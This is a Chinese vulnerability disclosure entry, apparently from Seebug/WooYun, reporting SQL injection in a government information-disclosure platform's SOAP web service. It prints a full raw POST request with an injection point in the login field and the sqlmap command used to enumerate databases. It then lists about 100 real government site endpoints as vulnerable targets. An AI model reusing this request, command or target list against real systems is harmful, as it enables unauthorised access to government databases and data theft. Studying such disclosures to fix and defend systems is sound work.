大汉政府信息公开多处SQL注入(附100个案例)

2015-03-20T00:00:00
ID SSV:93891
Type seebug
Reporter Root
Modified 2015-03-20T00:00:00

Description

简要描述:

大汉政府信息公开多处SQL注入(附100个案例)

详细说明:

不同系统,不同文件,真的重复了么?

<img src="https://images.seebug.org/upload/201503/20131757805ede245a27d1800a4e797d737ba7ac.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

webservice漏洞,漏洞存在于 /xxgk/services/WSSynchronize?wsdl WSSynchronize服务的多个方法,多个参数存在严重漏洞,且该漏洞普遍存在,如 wsGetWeb wsGetColumnStyle wsSynchronize wsSynchronizeWithPath 上述方法的多个参数均存在漏洞,这里随便选取一个方法(wsSynchronize)进行测试 用WSockExpert v0.7抓包,并保存为wooyun.txt

POST /xxgk/services/WSSynchronize?wsdl HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "" Content-Length: 222 Host: xxgk.lyg.gov.cn Connection: Close User-Agent: google robots &lt;soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.blf.jcms"&gt; &lt;soapenv:Header/&gt; &lt;soapenv:Body&gt; &lt;web:wsSynchronize soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt; &lt;strXml xsi:type="xsd:string"&gt;1&lt;/strXml&gt; &lt;strLoginId xsi:type="xsd:string"&gt;1*&lt;/strLoginId&gt; &lt;strPwd xsi:type="xsd:string"&gt;1&lt;/strPwd&gt; &lt;strKey xsi:type="xsd:string"&gt;1&lt;/strKey&gt; &lt;hasZip xsi:type="xsd:string"&gt;1&lt;/hasZip&gt; &lt;/web:wsSynchronize&gt; &lt;/soapenv:Body&gt; &lt;/soapenv:Envelope&gt;

/xxgk/services/WSSynchronize?wsdl wsSynchronize方法 做测试 xxgk.lyg.gov.cn

<img src="https://images.seebug.org/upload/201503/1921285478cd5b86d472f80f197f269f9816d076.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

xxgk.wencheng.gov.cn

<img src="https://images.seebug.org/upload/201503/19212907608590b72de089064d9ff141949f637f.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

www.hzgjj.gov.cn

<img src="https://images.seebug.org/upload/201503/192129172f648de66d7b4f86c3950798b3ba56de.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

xxgk.yj.gov.cn

<img src="https://images.seebug.org/upload/201503/19212928becbfcf3dc1f3a8af19a72baf807156b.png" alt="4.png" width="600" onerror="javascript:errimg(this);">

xxgk.czzl.gov.cn

<img src="https://images.seebug.org/upload/201503/192129391feb17252945f9d9b478df1d936bc4a9.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

sqlmap.py -r wooyun.txt --current-db --dbs

<img src="https://images.seebug.org/upload/201503/192130007060125cbdff997458dd976781b6602b.png" alt="data.png" width="600" onerror="javascript:errimg(this);">

由于该漏洞普遍存在,为证明漏洞的危害,同样列举100个案例: http://xxgk.zjds.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.taixing.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jining.gov.cn/xxgk/services/WSReceive?wsdl http://www.xxgk.lg.gov.cn/xxgk/services/WSReceive?wsdl http://www.jinhua.gov.cn/xxgk/services/WSReceive?wsdl http://gongkai.sd-n-tax.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.wenzhou.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jsgs.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.nbjiangbei.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.sdxm.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.changde.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.gygov.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.longwan.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.cqyc.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.gaomi.gov.cn:82/xxgk/services/WSReceive?wsdl http://www.huzhou.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zaozhuang.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.lucheng.gov.cn/xxgk/services/WSReceive?wsdl http://zfxxgk.weihai.gov.cn/xxgk/services/WSReceive?wsdl http://218.94.123.47/xxgk/services/WSReceive?wsdl http://xxgk.yiyuan.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zhucheng.gov.cn/xxgk/services/WSReceive?wsdl http://www.nanxun.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.xiaogan.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zibo.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.lyg.gov.cn/xxgk/services/WSReceive?wsdl http://211.138.126.163/xxgk/services/WSReceive?wsdl http://xxgk.wencheng.gov.cn/xxgk/services/WSReceive?wsdl http://zfxxgk.liaocheng.gov.cn/xxgk/services/WSReceive?wsdl http://www.jsforestry.gov.cn/xxgk/services/WSReceive?wsdl http://60.190.68.201:7001/xxgk/services/WSReceive?wsdl http://xxgk.shizhong.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.gzlps.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jingning.gov.cn/xxgk/services/WSReceive?wsdl http://blxxgk.bl.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.qingzhou.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.panxian.gov.cn/xxgk/services/WSReceive?wsdl http://www.dongtai.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.shanghe.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.cncn.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.gzwd.gov.cn/xxgk/services/WSReceive?wsdl http://www.hzgjj.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.siyang.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zjwy.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.tianqiao.gov.cn/xxgk/services/WSReceive?wsdl http://218.2.208.145/xxgk/services/WSReceive?wsdl http://xxgk.jc.gansu.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.wzrc.net/xxgk/services/WSReceive?wsdl http://xxgk.hbjs.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jiangyan.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jingjiang.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.changle.gov.cn:82/xxgk/services/WSReceive?wsdl http://xxgk.szzj.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.stats-sd.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.hg.gov.cn/xxgk/services/WSReceive?wsdl http://www.zjdlr.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.yj.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.yqjq.gov.cn/xxgk/services/WSReceive?wsdl http://zfxxgk.heze.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk3.nantong.gov.cn/xxgk/services/WSReceive?wsdl http://www.jsgl.cn/xxgk/services/WSReceive?wsdl http://www.zjch.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.yidu.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jsmuseum.com/xxgk/services/WSReceive?wsdl http://www.77778.com/xxgk/services/WSReceive?wsdl http://xxgk.pingyin.gov.cn/xxgk/services/WSReceive?wsdl http://www.jshb.net/xxgk/services/WSReceive?wsdl http://zfxxgk.seac.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.tx.gov.cn/xxgk/services/WSReceive?wsdl http://www.dejiang.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.yq.gov.cn/xxgk/services/WSReceive?wsdl http://www.ec.js.edu.cn/xxgk/services/WSReceive?wsdl http://www.njzj.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zjpy.gov.cn/xxgk/services/WSReceive?wsdl http://www.gaoqing.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.czzl.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.liuzhi.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.sx.gov.cn/xxgk_public/services/WSReceive?wsdl http://xxgk.10.gov.cn/gov/services/WSReceive?wsdl http://xxgk.ycxl.gov.cn/gov/services/WSReceive?wsdl http://xxgk.changyang.gov.cn/gov/services/WSReceive?wsdl http://xxgk.haiyan.gov.cn/gov/services/WSReceive?wsdl http://open.jiashan.gov.cn/gov/services/WSReceive?wsdl http://xxgk.yichang.gov.cn/gov/services/WSReceive?wsdl http://xxgk.dyq.gov.cn/gov/services/WSReceive?wsdl http://xxgk.xingshan.gov.cn/gov/services/WSReceive?wsdl http://xxgk.kuiwen.gov.cn/gov/services/WSReceive?wsdl http://xxgk.hbwf.gov.cn/gov/services/WSReceive?wsdl http://www.wuxing.gov.cn/gov/services/WSReceive?wsdl http://61.159.149.203:9080/gov/services/WSReceive?wsdl http://xxgk.dianjun.gov.cn/gov/services/WSReceive?wsdl http://211.138.126.163:7003/gov/services/WSReceive?wsdl http://xxgk.zrt.gov.cn/gov/services/WSReceive?wsdl http://220.191.221.136/gov/services/WSReceive?wsdl http://119.191.58.141/gov/services/WSReceive?wsdl http://zfxxgk.dongying.gov.cn/gov/services/WSReceive?wsdl http://xxgk.hbdy.gov.cn/gov/services/WSReceive?wsdl http://xxgk.yuanan.gov.cn/gov/services/WSReceive?wsdl http://xxgk.lijin.gov.cn/gov/services/WSReceive?wsdl http://xxgk.sdfda.gov.cn/gov/services/WSReceive?wsdl